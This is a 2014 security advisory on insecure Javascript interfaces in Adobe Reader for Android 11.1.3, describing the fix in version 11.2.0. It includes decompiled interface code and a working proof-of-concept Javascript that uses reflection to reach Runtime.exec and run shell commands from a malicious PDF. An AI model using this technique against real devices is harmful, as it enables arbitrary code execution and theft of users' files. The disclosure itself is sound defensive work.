Adobe Reader For Android Javascript Insecure

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Adobe Reader for Android exposes insecure Javascript interfaces  
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Yorick Koster, April 2014  
  
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Abstract  
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Adobe Reader for Android [2] exposes several insecure Javascript  
interfaces. This issue can be exploited by opening a malicious PDF in  
Adobe Reader. Exploiting this issue allows for the execution of  
arbitrary Java code, which can result in a compromise of the documents  
stored in Reader and files stored on SD card.  
  
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Tested versions  
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This issue was successfully verified on Adobe Reader for Android  
version 11.1.3.  
  
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Fix  
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Adobe released version 11.2.0 of Adobe Reader that add  
@JavascriptInterface [3] annotations to public methods that should be  
exposed in the Javascript interfaces. In addition, the app now targets  
API Level 17 and contains a static method  
(shouldInitializeJavaScript()) that is used to check the device's  
Android version.  
  
http://www.securify.nl/advisory/SFY20140401/reader_11.2.0_release_notes.png  
Figure 1: Adobe Reader for Android 11.2.0 release notes  
  
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Introduction  
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Adobe Reader for Android allows users to work with PDF documents on an  
Android tablet or phone. According to Google Play, the app is installed  
on 100 million to 500 million devices.  
  
The following classes expose one or more Javascript interfaces:  
  
- ARJavaScript  
- ARCloudPrintActivity  
- ARCreatePDFWebView  
  
The app targets API Level 10, which renders the exposed Javascript  
interfaces vulnerable to code execution - provided that an attacker  
manages to run malicious Javascript code within Adobe Reader.  
  
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PDF Javascript APIs  
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It appears that Adobe Reader for Mobile supports [4] a subset of the  
Javascript for Acrobat APIs. For some reason the exposed Javscript  
objects are prefixed with an underscore character.  
  
public class ARJavaScript  
{  
[...]  
  
public ARJavaScript(ARViewerActivity paramARViewerActivity)  
{  
[...]  
this.mWebView.addJavascriptInterface(new   
ARJavaScriptInterface(this),  
"_adobereader");  
this.mWebView.addJavascriptInterface(new  
ARJavaScriptApp(this.mContext), "_app");  
this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(),   
"_doc");  
this.mWebView.addJavascriptInterface(new  
ARJavaScriptEScriptString(this.mContext), "_escriptString");  
this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(),  
"_event");  
this.mWebView.addJavascriptInterface(new ARJavaScriptField(),  
"_field");  
this.mWebView.setWebViewClient(new ARJavaScript.1(this));  
this.mWebView.loadUrl("file:///android_asset/javascript/index.html");  
}  
  
An attacker can create a specially crafted PDF file containing  
Javascript that runs when the target user views (or interacts with)  
this PDF file. Using any of the Javascript objects listed above  
provides the attacker access to the public Reflection APIs inherited  
from Object. These APIs can be abused to run arbitrary Java code.  
  
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Proof of concept  
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The following proof of concept [5] will create a text file in the app  
sandbox.  
  
function execute(bridge, cmd) {  
return bridge.getClass().forName('java.lang.Runtime')  
.getMethod('getRuntime',null).invoke(null,null).exec(cmd);  
}  
  
if(window._app) {  
try {  
var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';  
execute(window._app, ['/system/bin/sh','-c','echo \"Lorem   
ipsum\" > '  
+ path]);  
window._app.alert(path + ' created', 3);  
} catch(e) {  
window._app.alert(e, 0);  
}  
}  
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References  
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[1]   
http://www.securify.nl/advisory/SFY20140401/adobe_reader_for_android_exposes_insecure_javascript_interfaces.html  
[2] https://play.google.com/store/apps/details?id=com.adobe.reader  
[3]   
http://developer.android.com/reference/android/webkit/JavascriptInterface.html  
[4]   
http://www.adobe.com/devnet-docs/acrobatetk/tools/Mobile/js.html#supported-javascript-apis  
[5] http://www.securify.nl/advisory/SFY20140401/mobilereader.poc.pdf  
  
  
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